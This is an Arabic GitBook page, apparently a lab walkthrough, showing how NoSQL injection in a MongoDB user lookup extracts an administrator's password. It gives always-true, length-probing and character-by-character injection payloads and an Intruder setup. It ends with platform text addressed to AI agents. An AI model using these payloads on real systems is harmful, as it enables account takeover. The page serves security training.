> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/nosql-injection/data-extraction-via-nosql-injection.md).
# استخراج البيانات عبر حقن NoSQL
### استغلال حقن NoSQL لاستخراج البيانات
**خلفية المختبر**
تعتمد وظيفة البحث عن المستخدمين في هذا المعمل على قاعدة بيانات NoSQL **MongoDB**. / وهي عرضة لـ \*\*حقن NoSQL\*\*.
\*\*الهدف:\*\*/ استخراج كلمة مرور المستخدم **administrator** ثم تسجيل الدخول إلى حسابه.
يتم توفير حساب صالح:
* **المعرّف:** `wiener`
* **كلمة المرور:** `peter`
```bash
csrf=9FxorVglwXv5ZCx4bSUi29Bge07i8pJP&username=wiener&password=peter
```
**تحليل العملية**
بعد الاتصال بـ `wiener:peter`، يتم إرسال الطلب التالي في الخلفية:
```bash
GET /user/lookup?user=
```
هذا الاستعلام يعرض معلومات عن المستخدمين.
* مثال:
```bash
GET /user/lookup?user=administrator
```
ثم تعرض الواجهة الأمامية:
```bash
اسم المستخدم الخاص بك هو: wiener (الدور: user)
```
**اكتشاف ثغرة NoSQL**
عن طريق حقن علامة اقتباس مفردة واحدة:
```bash
administrator'
```
يعرض الخادم خطأ:
```terraform
{
"message": "حدث خطأ أثناء الحصول على تفاصيل المستخدم"
}
```
ومع ذلك، بإضافة شرط دائم الصحة:
```bash
administrator' || true ||'
```
يتم قبول الطلب، مما يؤكد وجود \*\*حقن NoSQL\*\*.
**استخراج طول كلمة المرور**
الـ `this.password.length` تُستخدم السمة لتحديد طول كلمة المرور.
مثال للاختبار:
```bash
wiener' && this.password.length <40 ||'
wiener' && this.password.length == 5 ||'
```
لكي يعمل هذا بشكل صحيح، من الضروري \*\*d
```bash
wiener' %26%26 this.password.length == 5 ||'
```
\*\*التطبيق على المدير\*\*
تكرار الطريقة مع `administrator` المستخدم:
```bash
administrator' && this.password.length == 8 ||'
administrator' %26%26 this.password.length == 8 ||'
```
يتم التحقق من الشرط، مما يشير إلى أن كلمة مرور المدير تحتوي على **8 أحرف**.
**استخراج حرفًا بحرف**
ثم التصفية حسب الموضع:
```bash
administrator' %26%26 this.password[0]=='X
```
يتم إرسال هذا الطلب إلى **Intruder**.
### \*\*الهجوم باستخدام Intruder\*\*
نوع الهجوم : **Cluster Bomb**
المعلمات:
* موضع الحرف: `0` إلى `7` قيم
* الأحرف المختبرة: الأبجدية (قاموس الحروف)
من خلال تحليل الإجابات الصحيحة، يتم استرجاع كلمة المرور.
| رقم | حرف |
| --- | --- |
| 0 | v |
| 1 | x |
| 2 | t |
| 3 | r |
| 4 | m |
| 5 | e |
| 6 | z |
| 7 | s |
**النتيجة النهائية**
**كلمة مرور مستخدم المدير:**
`vxtrmezs`
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/ar/web/nosql-injection/data-extraction-via-nosql-injection.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.